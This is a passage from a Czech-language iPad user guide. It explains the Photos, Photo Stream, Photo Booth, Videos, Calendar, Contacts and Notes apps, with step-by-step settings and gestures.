chcete zobrazit. Vyberte fotografii, kterou chcete zobrazit. Úprava fotografie Úprava fotografie Přehrávání prezentace Přehrávání prezentace Smazání fotografie Smazání fotografie Streamování prezentace do HD televizoru prostřednictvím AirPlay Streamování prezentace do HD televizoru prostřednictvím AirPlay Sdílení fotografie, přiřazení ke kontaktu, použití jako tapety nebo tisk fotografie Sdílení fotografie, přiřazení ke kontaktu, použití jako tapety nebo tisk fotografie Klepnutím na obrazovku zobrazíte ovládací prvky. Klepnutím na obrazovku zobrazíte ovládací prvky. ObrázkyKapitola 10 Obrázky 60 Prohlížení fotografií a videí:  Klepněte na některé z tlačítek na horním okraji obrazovky. Klepněte například na položku Album a poté klepnutím na album zobrazte jeho miniatury. Klepnutím na miniaturu zobrazíte fotografii nebo video na celé obrazovce. • Zobrazení následující nebo předchozí fotografie nebo videa: Přejeďte doleva nebo doprava. • Zvětšení nebo zmenšení: Poklepejte nebo sevřete prsty. • Posouvání po fotografii: Přetáhněte fotografii na požadované místo. • Přehrání videa Klepněte na uprostřed obrazovky. K otevření nebo zavření alba, zobrazení fotografie nebo videa na celé obrazovce a k návratu do zobrazení miniatur můžete také použít gesta rozevření a sevření prstů. Alba, která synchronizujete s iPhotem 8.0 (iLife ’09) nebo novějším, případně s Aperture v3.0.2 nebo novější, si můžete prohlížet podle událostí nebo podle tváří. Fotografie pořízené fotoaparátem podporujícím polohové značky si můžete prohlížet také podle místa, kde vznikly. Zobrazení prezentace:  Klepněte na Prezentace. Vyberte volby prezentace a poté klepněte na Spustit prezentaci. Chcete-li prezentaci zastavit, klepněte na obrazovku. Chcete-li nastavit další volby, vyberte Nastavení > Obrázky a Fotoaparát. Streamování videa nebo prezentace do televizoru: Viz AirPlay na stránce 30. Uspořádání fotografií a videí Vytvoření alba:  Klepněte na Alba, na zadejte název a poté klepněte na Uložit. Vyberte položky, které chcete do nového alba přidat, a poté klepněte na Hotovo. Poznámka:  Alba vytvořená v zařízení iPad se při synchronizaci nepřenášejí zpět do počítače. Přidání položek do alba: Při prohlížení miniatur klepněte na , vyberte položky a poté klepněte na Hotovo. Správa alb: Klepněte na Upravit. • Přejmenování alba: Klepněte na název alba a poté zadejte nový název. • Změna uspořádání alb: Přetáhněte některé z alb na jiné místo. • Smazání alba: Klepněte na . Přejmenovat nebo smazat lze pouze alba vytvořená na zařízení iPad. Fotostream Díky Fotostreamu, funkci iCloudu (viz Použití iCloudu na stránce 15), se fotografie, které pořídíte na zařízení iPad, automaticky objeví na vašich ostatních zařízeních nastavených pro používání Fotostreamu, včetně vašeho Macu nebo PC. Fotostream vám také umožňuje sdílet vybrané fotografie s přáteli a rodinou přímo na jejich zařízeních nebo na webu. Co je Fotostream Pokud je Fotostream zapnutý, fotografie, které pořídíte na zařízení iPad (i další fotografie přidané do alba Fotoaparát), budou odeslány do vašeho fotostreamu poté, co zavřete aplikaci Obrázky a iPad se připojí k Internetu přes Wi-Fi. Tyto fotografie se objeví v albu Můj Fotostream na zařízení iPad a na vašich ostatních zařízeních nastavených pro používání funkce Fotostream.Kapitola 10 Obrázky 61 Zapnutí Fotostreamu:  Otevřete Nastavení > iCloud > Fotostream. V albu Můj Fotostream se objeví také fotografie přidané do vašeho fotostreamu z vašich ostatních zařízení s nastavenou funkcí iCloud. V albu Můj Fotostream může být z těchto zdrojů uchováváno až 1000 fotografií. Ve svých počítačích můžete mít uloženy všechny fotografie z alba Fotostream natrvalo. Poznámka:  Fotografie ve Fotostreamu se nezapočítávají do úložného místa na iCloudu. Správa obsahu fotostreamu:  V albu Fotostream klepněte na Upravit. • Uložení fotografií do zařízení iPad:  Vyberte fotografie a poté klepněte na Uložit. • Sdílení, tisk, kopírování nebo uložení fotografií do vašeho alba Fotoaparát:  Vyberte fotografie a poté klepněte na Sdílet. • Smazání fotografií: Vyberte fotografie a poté klepněte na Smazat. Poznámka:  Fotografie budou odstraněny z fotostreamů ve vašich zařízeních, původní fotografie však zůstanou uloženy v albu Fotoaparát na zařízení, s jehož pomocí byly pořízeny. Fotografie uložené do zařízení nebo počítačů z fotostreamů budou také zachovány. Chcete-li z fotostreamu mazat fotografie, musíte mít na zařízení iPad a na svých ostatních iOS zařízeních nainstalován systém iOS 5.1 nebo novější. Další informace naleznete na adrese support.apple.com/kb/HT4486?viewlocale=cs_CZ. Sdílené fotostreamy Sdílené fotostreamy vám umožňují sdílet vybrané fotografie s vybranými lidmi. Uživatelé systémů iOS 6 a OS X Mountain Lion se mohou k odběru vašich sdílených fotostreamů přihlásit a prohlížet si nejnovější přidané fotografie, komentovat je a přidávat k nim označení „to se mi líbí“ přímo ze svých zařízení. Pro sdílené fotostreamy můžete také vytvořit veřejné webové stránky a sdílet je s ostatními prostřednictvím Internetu. Poznámka:  Sdílené fotostreamy je možné odebírat přes Wi-Fi i mobilní síť (iPad Wi-Fi + cellular). Mobilní datové služby mohou být zpoplatněny. Zapnutí Sdílených fotostreamů:  Otevřete Nastavení > iCloud > Fotostream. Vytvoření sdíleného fotostreamu:  Klepněte na Fotostream a poté na . Chcete-li pozvat další uživatele systému iOS 6 a OS X Mountain Lion k odběru svého sdíleného fotostreamu, zadejte jejich e-mailové adresy. Pokud chcete fotostream zveřejnit na icloud.com, zapněte volbu Veřejná stránka. Pojmenujte album a klepněte na Vytvořit. Přidání fotografií do sdíleného fotostreamu:  Vyberte fotografii, klepněte na , dále na Fotostream a poté vyberte sdílený fotostream. Chcete-li z některého alba vybrat více fotografií, klepněte na Upravit, vyberte fotografie a poté klepněte na Sdílet. Smazání fotografií ze sdíleného fotostreamu:  Klepněte na sdílený fotostream, klepněte na Upravit, vyberte fotografie a poté klepněte na Smazat. Úpravy sdíleného fotostreamu:  Klepněte na Fotostream, klepněte na Upravit a poté na sdílený fotostream. Máte tyto možnosti: • Přejmenovat fotostream • Přidat nebo odstranit odběratele a znovu rozeslat pozvánky • Vytvořit veřejnou webovou stránku a sdílet odkaz • Smazat fotostreamKapitola 10 Obrázky 62 Sdílení fotografií a videí Fotografie můžete sdílet v e-mailových nebo textových zprávách, fotostreamech, tweetech a na Facebooku. Videa můžete sdílet v e-mailových nebo textových zprávách a na YouTube. Sdílení nebo zkopírování fotografie či videa:  Vyberte fotografii nebo video a poté klepněte na . Pokud nevidíte , zobrazte ovládací prvky klepnutím na obrazovku. Limit velikosti příloh stanovuje váš poskytovatel služeb. iPad může fotografie a video v přílohách podle potřeby komprimovat. Fotografie a videa můžete také zkopírovat a poté je vložit do e-mailové nebo textové zprávy. Sdílení nebo kopírování více fotografií a videí: Při prohlížení náhledů klepněte na Upravit, vyberte fotografie nebo videa a poté klepněte na Sdílet. Uložení fotografie nebo videa z: • E-mailu: V případě potřeby položku klepnutím stáhněte, klepněte na fotografii nebo se dotkněte videa a podržte na něm prst a poté klepněte na Uložit. • Textové zprávy: Klepněte na položku v konverzaci, klepněte na a potom na Uložit. • Webové stránky (pouze fotografie): Dotkněte se a přidržte prst na fotografii a poté klepněte na Uložit obrázek. Fotografie a videa, jež obdržíte nebo uložíte z webové stránky, se ukládají do vašeho alba Fotoaparát (na zařízeních iPad bez fotoaparátu do alba Uložené obrázky). Tisk fotografií Tisk na tiskárnách podporujících AirPrint: • Tisk jedné fotografie: Klepněte na a poté na Tisknout. • Tisk většího počtu fotografií: Při prohlížení fotoalba klepněte na Upravit, vyberte fotografie, klepněte na Sdílet a poté na Tisk. Viz Tisk pomocí funkce AirPrint na stránce 31. Rámeček obrázku V době, kdy je iPad uzamčen, můžete na jeho displeji zobrazovat prezentaci všech nebo pouze vybraných alb s vašimi fotografiemi. Spuštění funkce Rámeček obrázku:  Stisknutím tlačítka Spánek/probuzení iPad zamkněte, dalším stisknutím zapněte obrazovku a klepněte na . • Pozastavení prezentace: Klepněte na obrazovku. • Zastavení prezentace: Pozastavte prezentaci a poté klepněte na . Výběr alb k zobrazení: Vyberte Nastavení > Rámeček obrázku. Nastavení dalších voleb pro Rámeček obrázku: Vyberte Nastavení > Rámeček obrázku. Vypnutí Rámečku obrázku: Otevřete Nastavení > Obecné > Kódový zámek.Kapitola 10 Obrázky 63 Import fotografií a videa S příslušenstvím iPad Camera Connection Kit (k dostání zvlášť) můžete importovat fotografie a videa přímo z digitálního fotoaparátu, z jiného zařízení iOS vybaveného fotoaparátem nebo z paměťové SD karty. Import fotografií: 1 K rozhraní dokového konektoru zařízení iPad připojte čtečku SD karet nebo konektor fotoaparátu z příslušenství iPad Camera Connection Kit. • Připojení fotoaparátu nebo zařízení iOS: Použijte USB kabel dodaný s fotoaparátem nebo zařízením iOS a připojte jej do USB rozhraní na konektoru fotoaparátu. Pokud používáte zařízení iOS, ujistěte se, že je zapnuté a odemčené. Chcete-li připojit fotoaparát, ujistěte se, že je zapnutý a v přenosovém režimu. Další informace najdete v dokumentaci k fotoaparátu. • Použití paměťové SD karty: Vložte kartu do čtečky SD karet. Nezatlačujte kartu do štěrbiny silou, lze ji zasunout pouze v jedné poloze. Další informace najdete v dokumentaci k příslušenství iPad Camera Connection Kit. 2 Odemkněte iPad. 3 Aplikace Obrázky automaticky otevře a zobrazí fotografie a videa, která jsou k dispozici pro import. 4 Vyberte fotografie a videa, která chcete importovat. • Import všech položek: Klepněte na Importovat vše. • Import pouze vybraných položek: Vyberte klepnutím položky, které chcete importovat (na každé by se měla objevit značka zaškrtnutí), klepněte na Importovat a poté vyberte Importovat vybrané. 5 Po dokončení importu můžete fotografie a videa na kartě, ve fotoaparátu nebo v zařízení iOS uchovat nebo smazat. 6 Odpojte čtečku SD karet nebo konektor fotoaparátu. Chcete-li si fotografie prohlédnout, otevřete album Poslední import. Nová událost obsahuje všechny fotografie, které jste vybrali pro import. Chcete-li přenést fotografie do svého počítače, připojte iPad k počítači a importujte obrázky pomocí aplikace pro práci s fotografiemi, jako je iPhoto nebo Adobe Elements.11 64 Pořizování fotografií Máte-li iPad 2 nebo novější, můžete pomocí aplikace Photo Booth jednoduše pořídit fotografii a ozvláštnit ji s využitím některého z efektů. Ze zařízení iPad se při fotografování ozývá zvuk závěrky. Hlasitost zvuku závěrky můžete ovládat tlačítky hlasitosti po straně zařízení iPad. Pokud je Postranní přepínač v poloze tichého režimu, nic neuslyšíte. Viz Tlačítka na stránce 9. Poznámka:  V některých oblastech jsou zvukové efekty přehrávány i v případě, kdy je postranní přepínač nastaven na tichý režim. Pořízení fotografie:  Zaměřte iPad na požadovanou scénu a klepněte na . Výběr efektu:  Klepněte na a pak klepněte na požadovaný efekt. • Změna zkreslovacího efektu:  Táhněte prstem přes obrazovku. • Úprava zkreslení:  Sevřete nebo rozevřete na obrázku prsty, přejeďte přes něj nebo jej otočte. Kontrola právě pořízené fotografie:  Klepněte na miniaturu svého posledního záběru. Chcete-li znovu zobrazit ovládací prvky, klepněte na obrazovku. Přepnutí mezi předním a zadním fotoaparátem:  Klepněte na dole na obrazovce. Photo BoothKapitola 11 Photo Booth 65 Správa fotografií Fotografie, které pořídíte ve Photo Booth, budou v aplikaci Obrázky v zařízení iPad uloženy do vašeho alba Fotoaparát. Smazání fotografie:  Vyberte miniaturu a poté klepněte na . Smazání více fotografií:  Klepněte na , klepněte na jednu nebo více miniatur a poté na Smazat. Odeslání fotografií e-mailem nebo jejich zkopírování:  Klepněte na , klepněte na jednu nebo více miniatur a poté na Poslat e-mailem nebo Kopírovat. Zobrazení fotografií ve vašem albu Fotoaparát:  V aplikaci Obrázky klepněte na album a poté na miniaturu. Předchozí nebo další fotografii zobrazíte přejetím doleva nebo doprava. Viz Prohlížení fotografií a videí na stránce 59. Odeslání fotografií vašeho do počítače:  Připojte iPad k počítači pomocí kabelu Lightning-USB. • Mac:  Vyberte fotografie k odeslání a poté klikněte na tlačítko Importovat nebo Stáhnout v iPhoto nebo jiné kompatibilní aplikaci ve vašem počítači. • PC:  Postupujte podle pokynů v dokumentaci fotoaparátu nebo foto aplikace. Pokud po zkopírování do počítače smažete fotografie ze zařízení iPad, budou odstraněny z vašeho alba Fotoaparát. Chcete-li synchronizovat fotografie s aplikací Obrázky v zařízení iPad, použijte panel Fotografie v iTunes.12 66 Aplikaci Videa můžete použít ke sledování videí, TV pořadů a videoklipů. Chcete-li zhlédnout videopodcasty, nainstalujte si z obchodu App Store bezplatnou aplikaci Podcasty. Viz Kapitola 24, Podcasty, na stránce 98. Chcete-li se podívat na videa, která jste zaznamenali pomocí fotoaparátu zařízení iPad, otevřete aplikaci Obrázky. Získávání videí: • Videa si můžete koupit nebo vypůjčit v obchodě iTunes Store (nemusí být dostupný ve všech oblastech):  Otevřete na zařízení iPad aplikaci iTunes a klepněte na Videa. Viz Kapitola 20, iTunes Store, na stránce 88. • Přenos videa z počítače:  Připojte iPad a poté proveďte synchronizaci videa z iTunes v počítači. Viz Synchronizace s iTunes na stránce 16. • Streamování videa z počítače:  Zapněte v iTunes na svém počítači Domácí sdílení. Poté na zařízení iPad otevřete Nastavení > Videa a zadejte Apple ID a heslo, které jste použili k nastavení Domácího sdílení v počítači. Poté na zařízení iPad otevřete Videa a klepněte na Sdílené nad seznamem videí. Tažením přeskočíte dopředu nebo dozadu. Tažením přeskočíte dopředu nebo dozadu. Klepnutím na video zobrazíte nebo skryjete ovládací prvky. Klepnutím na video zobrazíte nebo skryjete ovládací prvky. Sledujte video na televizoru s  Apple TV. Sledujte video na televizoru s  Apple TV. Tažením nastavíte hlasitost. Tažením nastavíte hlasitost. VAROVÁNÍ:  Důležité informace o předcházení poškození sluchu najdete v části Důležité informace o bezpečnosti na stránce 132. VideaKapitola 12 Videa 67 Sledování videa:  Klepněte na Filmy nebo TV pořady a poté klepněte na video, které chcete zhlédnout. • Nastavení videa na vyplnění celé obrazovky nebo zobrazení celého videa:  Klepněte na nebo . Také můžete poklepat na obrazovku a změnit velikost videa bez zobrazení ovládacích prvků. • Spuštění přehrávání znovu od začátku:  Pokud video obsahuje kapitoly, přetáhněte přehrávací hlavu po liště zrychleného přehrávání zcela doleva. Pokud video kapitoly neobsahuje, klepněte na . • Skok na následující nebo předcházející kapitolu (je-li k dispozici):  Klepněte na nebo . Můžete také dvakrát stisknout prostřední (nebo ekvivalentní) tlačítko na kompatibilní náhlavní soupravě (přechod na další položku) nebo je stisknout třikrát (přechod na předchozí položku). • Rychlé přetáčení zpět nebo vpřed:  Dotkněte se nebo a přidržte prst. • Výběr jiného jazyka zvukové stopy (je-li k dispozici):  Klepněte na a poté vyberte jazyk ze seznamu Audio. • Zobrazení nebo skrytí titulků (jsou-li k dispozici):  Klepněte na a poté vyberte ze seznamu Titulky požadovaný jazyk nebo položku Vypnuto. • Zobrazení nebo skrytí skrytých titulků (je-li k dispozici):  Otevřete Nastavení > Videa. • Sledování videa na televizoru:  Viz Připojení iPadu k televizoru nebo jinému zařízení na stránce 30. Smazání videa:  V knihovně klepněte na video a přidržte na něm prst, dokud se nezobrazí mazací tlačítko, a poté klepněte na . Pokud chcete smazat několik videí, klepněte na Upravit. Důležité:  Pokud ze zařízení iPad smažete vypůjčený film, bude smazán trvale a nebude jej možné přenést zpět do počítače. Pokud ze zařízení iPad smažete video (s výjimkou vypůjčených filmů), nebude toto video smazáno z knihovny iTunes v počítači a později je můžete při synchronizaci do zařízení iPad znovu přenést. Pokud nechcete při synchronizaci přenést video znovu do zařízení iPad, nastavte iTunes tak, aby video nesynchronizovaly. Viz Synchronizace s iTunes na stránce 16.13 68 V kostce Se zařízením iPad snadno zvládnete svůj program. Své kalendáře si můžete prohlížet jednotlivě nebo ve skupinách. Změna zobrazení Změna zobrazení Přetažením změňte termín události. Přetažením změňte termín události. Výběr zobrazení Výběr zobrazení Zobrazení pozvánek Zobrazení pozvánek Přechod na jiné datum Přechod na jiné datum Zobrazení nebo úprava události: Klepněte na událost. Máte tyto možnosti: • Nastavení primárního a sekundárního upozornění • Změna data, času nebo doby trvání události • Přesunutí události do jiného kalendáře • Přizvání dalších účastníků k událostem v kalendářích iCloud, Microsoft Exchange a CalDAV • Smazání události Událost můžete přesunout také tím, že ji podržíte a přesunete na nový čas nebo upravíte polohu úchytů. KalendářKapitola 13 Kalendář 69 Přidání události:  Klepněte na , zadejte informace o události a poté klepněte na Hotovo. • Nastavení výchozího kalendáře pro nové události: Otevřete Nastavení > Pošta, kontakty, kalendáře > Výchozí kalendář. • Nastavení výchozích časů upozornění na narozeniny a události: Otevřete Nastavení > Pošta, kontakty, kalendáře > Výchozí časy upozornění. Hledání událostí: Klepněte na Seznam a poté zadejte text do pole hledání. Prohledávají se názvy, místa a poznámky v zobrazených kalendářích. Události v kalendářích můžete prohledávat také z plochy. Viz Hledání na stránce 27. Nastavení zvuku pro upozornění kalendáře: Otevřete Nastavení > Zvuk > Zvuk kalendáře. Import událostí ze souboru kalendáře: Obdržíte-li v poště kalendářový soubor .ics, otevřete zprávu a klepnutím na soubor importujte všechny události, které obsahuje. Soubor .ics publikovaný na webu můžete importovat také klepnutím na odkaz na soubor. Některé soubory .ics do vašeho kalendáře nepřidají události, ale přihlásí vás k odběru kalendáře. Viz Práce s více kalendáři na stránce 69. Pokud máte účet iCloud, Microsoft Exchange nebo podporovaný účet CalDAV, můžete přijímat pozvánky ke schůzkám ve vaší organizaci a odpovídat na ně. Přizvání jiných lidí k události: Klepněte na událost, na Upravit, poté klepněte na Pozvané osoby a vyberte požadované osoby z Kontaktů. Odpověď na pozvánku:  Klepněte na pozvánku v kalendáři. Také můžete klepnutím na zobrazit obrazovku události a poté klepnout na pozvánku. Můžete zobrazit informace o organizátorovi a ostatních pozvaných. Přidáte-li komentář (tato funkce nemusí být k dispozici ve všech typech kalendářů), uvidí jej pouze organizátor, nikoli ostatní účastníci. Přijetí události bez rezervace času: Klepněte na událost, poté klepněte na Dostupnost a vyberte volbu Mám čas. Událost zůstane ve vašem kalendáři, ale další uživatelé, kteří vám posílají pozvánky, neuvidí příslušný čas jako rezervovaný. Práce s více kalendáři Kalendáře si můžete prohlížet jednotlivě nebo ve skupinách. Můžete se přihlásit k odběru kalendářů Cloud, Google, Yahoo! nebo iCalendar a také k odběru událostí a informací o narozeninách na Facebooku. Zapnutí kalendářů iCloud, Google, Exchange nebo Yahoo!: Otevřete Nastavení > Pošta, kontakty, kalendáře, klepněte na účet a zapněte Kalendář. Přidání účtu CalDAV:  Otevřete Nastavení > Pošta, kontakty, kalendáře, klepněte na Přidat účet a poté na Ostatní. V části Kalendáře klepněte na Přidat kontakt CalDAV. Zobrazení událostí z Facebooku: Otevřete Nastavení > Facebook, přihlaste se ke svému účtu na Facebooku a aktivujte přístup ke Kalendáři. Výběr zobrazovaných kalendářů: Klepněte na Kalendáře a poté klepnutím vyberte kalendáře k prohlížení. Události ze všech vybraných kalendářů se objeví v jednom zobrazení. Zobrazení narozeninového kalendáře: Klepněte na Kalendáře a poté klepnutím na Narozeniny přidejte k událostem narozeniny uložené v Kontaktech. Pokud máte nastaven účet na Facebooku, můžete také přidat narozeniny přátel z Facebooku.Kapitola 13 Kalendář 70 Můžete odebírat kalendáře, které jsou ve formátu iCalendar (.ics). Mnoho kalendářových služeb, jako je iCloud, Yahoo!, Google nebo aplikace Kalendář v systému OS X, podporuje odběr kalendářů. Odebírané kalendáře jsou určeny jen ke čtení. V zařízení iPad můžete číst události z odebíraných kalendářů, ale nemůžete tyto události měnit ani přidávat nové. Přihlášení k odběru kalendáře:  Otevřete Nastavení > Pošta, kontakty, kalendáře a klepněte na Přidat účet. Klepněte na Ostatní a poté na Přidat odebíraný kalendář. Zadejte server a název souboru .ics, k jehož odběru se chcete přihlásit. K odběru kalendáře iCalendar (.ics) publikovaného na webu se můžete přihlásit také klepnutím na odkaz na kalendář. Sdílení kalendářů na iCloudu Kalendář na iCloudu můžete sdílet s dalšími uživateli iCloudu. Když sdílíte kalendář, ostatní si jej mohou prohlížet a můžete jim povolit, aby do něj přidávali události. Také můžete sdílet verzi kalendáře pouze ke čtení, kterou si může prohlížet kdokoli. Vytvoření kalendáře na iCloudu: Klepněte na Kalendáře, Upravit a poté na Přidat kalendář. Sdílení kalendáře na iCloudu: Klepněte na Kalendáře, na Upravit a poté na kalendář na iCloudu, který chcete sdílet. Klepněte na Přidat osobu a poté vyberte někoho z Kontaktů. Vybraná osoba obdrží pozvánku ke sdílení kalendáře e-mailem. Pro její přijetí bude potřebovat Apple ID a účet na iCloudu. Vypnutí oznámení pro sdílené kalendáře: Otevřete Nastavení > Pošta, kontakty, kalendáře a vypněte Upozornění kalendářů. Změna přístupových oprávnění určité osoby ke sdílenému kalendáři: Klepněte na kalendáře, na Upravit a na jméno některé z osob, se kterými kalendář sdílíte. Můžete jim zamezit v úpravách kalendáře, znovu odeslat pozvánku ke sdílení kalendáře nebo s nimi přestat kalendář sdílet. Sdílení kalendáře pouze ke čtení se všemi: Klepněte na Kalendáře, na Upravit a poté na kalendář na iCloudu, který chcete sdílet. Zapněte volbu Veřejný kalendář, a poté klepnutím na Sdílet odkaz zkopírujte nebo odešlete URL kalendáře. Kdokoli poté toto URL může použít k odebírání vašeho kalendáře pomocí kompatibilní aplikace, například Kalendáře pro iOS nebo OS X. Nastavení kalendáře Výběrem Nastavení > Pošta, kontakty, kalendáře získáte přístup k několika položkám nastavení, které ovlivňují aplikaci Kalendář a vaše kalendářové účty. Jedná se o tyto funkce: • Synchronizace minulých událostí (budoucí události jsou synchronizovány vždy) • Přehrání zvuku upozornění při přijetí nových pozvánek na schůzky • Podpora časových pásem kalendáře umožňující zobrazovat data a časy také v jiných časových pásmech14 71 V kostce iPad vám poskytuje snadný přístup k vašim seznamům kontaktů z osobních, obchodních a organizačních účtů a umožňuje jejich úpravy. Zobrazení v Mapách Zobrazení v Mapách Přidání nebo změna informací Přidání nebo změna informací Hledání kontaktů Hledání kontaktů Nastavení vaší vizitky Moje info: Otevřete Nastavení > Pošta, kontakty, kalendáře, poté klepněte na Moje info a vyberte vizitku se svým jménem a údaji. Vizitku Moje info využívá Siri i další aplikace. Pomocí polí příbuzných osob můžete definovat vztahy, s nimiž chcete Siri seznámit, abyste jí mohli zadávat požadavky jako: „find my sister.“ Hledání kontaktů:  Klepněte na pole hledání nad seznamem kontaktů a zadejte hledaný text. Kontakty můžete prohledávat také z plochy. Viz Hledání na stránce 27. Sdílení kontaktu: Klepněte na kontakt a poté na Sdílet kontakt. Kontaktní údaje můžete odeslat e-mailem nebo ve zprávě. Přidání kontaktu:  Klepněte na . Kontakty nelze přidat do adresáře, který si pouze prohlížíte, jako je například globální seznam adres Microsoft Exchange. Přidání kontaktu do vašeho seznamu Oblíbené: Vyberte kontakt, posuňte zobrazení dolů a klepněte na tlačítko Přidat do oblíbených. Seznam Oblíbené je používán funkcí Nerušit. Viz Funkce Nerušit a Oznámení na stránce 119. Seznam Oblíbené můžete zobrazit a upravovat v aplikaci FaceTime. Smazání kontaktu: Vyberte kontakt a poté klepněte na Upravit. Posuňte zobrazení dolů a klepněte na Smazat kontakt. KontaktyKapitola 14 Kontakty 72 Úprava kontaktu: Vyberte kontakt a klepněte na Upravit. Máte tyto možnosti: • Přidání nového pole: Klepněte na a poté vyberte nebo zadejte popis pole. • Změna popisu pole: Klepněte na popis a vyberte jiný. Chcete-li přidat nové pole, klepněte na Přidat popis. • Změna vyzváněcího tónu nebo tónu textové zprávy pro kontakt: Klepněte na pole vyzváněcího tónu nebo tónu textové zprávy a poté vyberte nový zvuk. Chcete-li změnit výchozí zvuk pro kontakty, vyberte Nastavení > Zvuky. • Přiřazení fotografie ke kontaktu: Klepněte na Přidat fotografii. Fotografii můžete pořídit pomocí fotoaparátu nebo použít existující snímek. • Aktualizace kontaktních údajů pomocí Twitteru: Otevřete Nastavení > Twitter > Aktualizovat kontakty. Kontakty jsou vyhledávány pomocí e-mailové adresy. U přátel, které sledujete je kontaktní vizitka aktualizována pomocí jejich uživatelského jména a fotografie na Twitteru. • Aktualizace kontaktních údajů pomocí Facebooku: Otevřete Nastavení > Facebook > Aktualizovat kontakty. Kontakty jsou vyhledávány pomocí e-mailové adresy. Pro každou osobu ve vašem seznamu přátel je kontaktní vizitka aktualizována pomocí jejího uživatelského jména a fotografie na Twitteru. • Vložení pauzy do telefonního čísla: Klepněte na a poté na Pozastavit nebo Čekat. Pozastavení trvá vždy dvě sekundy. Čekání trvá, dokud znovu neklepnete na Volat. Tuto pauzu můžete využít například k automatickému vytočení linky nebo k zadání přístupového kódu (například pokud v iPadu používáte aplikaci Kontakty). Přidávání kontaktů Kontakty můžete přidávat těmito způsoby: • Použití vašich kontaktů na iCloudu: Otevřete Nastavení > iCloud a poté zapněte volbu Kontakty. • Import přátel z Facebooku: Otevřete Nastavení > Facebook a zapněte Kontakty v seznamu „Tyto aplikace mohou používat váš účet“. Touto akcí bude v Kontaktech vytvořena skupina Facebook. • Přístup ke globálnímu seznamu adres Microsoft Exchange: Otevřete Nastavení > Pošta, kontakty, kalendáře, klepněte na svůj účet Exchange a zapněte Kontakty. • Nastavení účtu LDAP nebo CardDAV pro přístup k obchodním nebo školním adresářům: Otevřete Nastavení > Pošta, kontakty, kalendáře > Přidat účet > Jiný. Poté klepněte na „Přidat účet LDAP“ nebo „Přidat účet CardDAV“ a zadejte informace o účtu. • Synchronizace kontaktů z počítače, Yahoo! nebo Googlu: V iTunes ve vašem počítači zapněte synchronizaci kontaktů na panelu informací o zařízení. Informace najdete v nápovědě pro iTunes. • Import kontaktů z vizitky vCard: Klepněte na přílohu .vcf v e-mailu, zprávě nebo na webové stránce. Hledání na serveru GAL, CardDAV nebo LDAP: Klepněte na Skupiny, poté na adresář, v kterém chcete hledat, a zadejte hledaný text. Uložení informací o kontaktech ze serveru GAL, LDAP nebo CardDAV: Vyhledejte kontakt, který chcete přidat, a poté klepněte na Přidat kontakt.Kapitola 14 Kontakty 73 Zobrazení nebo skrytí skupiny: Klepněte na Skupiny a vyberte skupiny, které chcete zobrazit. Toto tlačítko je zobrazeno pouze v případě, že máte více než jeden zdroj kontaktů. Máte-li kontakty z více zdrojů, může se objevit více položek pro tutéž osobu. Kontakty se shodným jménem z různých zdrojů jsou propojeny a zobrazeny ve vašem seznamu jako jediný sjednocený kontakt, aby se v seznamu Všechny kontakty nezobrazovaly vícekrát. Při prohlížení sloučeného kontaktu se na horním okraji obrazovky objeví záhlaví Sloučení. Propojení kontaktu: Upravte kontakt, klepněte na Upravit a poté klepněte na a vyberte jiný kontakt. Propojené kontakty nejsou sloučeny do jednoho kontaktu. V případě, že ve sjednoceném kontaktu změníte nebo přidáte údaje, změny budou zkopírovány do všech zdrojových účtů, kde jsou tyto údaje již obsaženy. Propojíte-li kontakty s odlišným jménem nebo příjmením, jména na jednotlivých vizitkách se nezmění, ale na sjednocené vizitce se zobrazí pouze jedno jméno. Chcete-li vybrat jméno, které se má na sjednocené vizitce zobrazit, klepněte na propojenou vizitku s požadovaným jménem a poté na Použít toto jméno na sjednocené vizitce. Zobrazení kontaktních údajů ze zdrojového účtu: Klepněte na jeden ze zdrojových účtů. Rozpojení kontaktu: Klepněte na Upravit, na a poté na Rozpojit. Nastavení Kontaktů Chcete-li změnit nastavení Kontaktů, vyberte Nastavení > Pošta, kontakty, kalendáře. Dostupné volby vám umožňují: • Změnit řazení kontaktů • Zobrazit kontakty podle křestních jmen nebo příjmení • Nastavit výchozí účet pro nové kontakty • Nastavení vaší vizitky Moje info15 74 V kostce Odeslání poznámky e-mailem nebo tisk. Odeslání poznámky e-mailem nebo tisk. Smazání poznámky. Smazání poznámky. Klepnutím poznámku zobrazíte. Klepnutím poznámku zobrazíte. Přidání poznámky. Přidání poznámky. Zobrazení předchozí nebo následující poznámky. Zobrazení předchozí nebo následující poznámky. Chcete-li poznámku upravit, klepněte na ni. Chcete-li poznámku upravit, klepněte na ni. Aktualizace poznámek ve vašich zařízeních iOS a počítačích Mac pomocí iCloudu:   • Používáte-li pro iCloud e-mailovou adresu me.com nebo mac.com:  Vyberte Nastavení > iCloud a poté zapněte Poznámky. • Používáte-li pro iCloud účet Gmail nebo jiný účet IMAP:  Vyberte Nastavení > Pošta, kontakty, kalendáře a zapněte pro tento účet volbu Poznámky. Výběr výchozího účtu pro nové poznámky:  Vyberte Nastavení > Poznámky. Vytvoření poznámky pod určitým účtem:  Klepněte na Účty a vyberte účet. Potom klepněte na a vytvořte poznámku. Pokud tlačítko Účty nevidíte, klepněte nejprve na tlačítko Poznámky. Zobrazení poznámek ve specifickém účtu a skrytí ostatních:  Klepněte na Účty a vyberte účet. Pokud tlačítko Účty nevidíte, klepněte nejprve na Poznámky. Smazání poznámky při prohlížení seznamu poznámek:  Přejeďte přes poznámku v seznamu doleva nebo doprava. PoznámkyKapitola 15 Poznámky 75 Hledání poznámek:  Při prohlížení seznamu poznámek posuňte seznam na začátek, kde se nachází pole hledání. Klepněte na toto pole a zadejte hledaný text. Poznámky můžete prohledávat také z plochy. Viz Hledání na stránce 27. Tisk poznámky nebo její zaslání e-mailem:  Při čtení poznámky klepněte na . Poznámku lze odeslat jen tehdy, je-li iPad nastaven pro posílání e-mailů. Viz Nastavení pošty a dalších účtů na stránce 14. Změna písma:  Vyberte Nastavení > Poznámky.16 76 Připomínky vám pomáhají udržovat si přehled o všem, co potřebujete udělat. Označení položek jako dokončených Označení položek jako dokončených Zobrazení dat dokončení položek Zobrazení dat dokončení položek Přepnutí seznamů Přepnutí seznamů Přidání položky Přidání položky Zobrazení podrobností připomínky:  Klepněte na připomínku. Máte tyto možnosti: • Změna nebo smazání připomínky • Nastavení data splnění • Nastavení priority • Přidání poznámek • Přesunutí do jiného seznamu Na některých modelech iPadu Wi-Fi + cellular mohou Připomínky aktivovat upozornění, když dorazíte na určité místo nebo když je opustíte. Přidání polohového upozornění: Při zadávání připomínky klepněte na a zapněte volbu Připomenout na místě. Chcete-li použít jiné místo, klepněte na místo, na němž se právě nacházíte. V seznamu jsou uvedeny adresy z 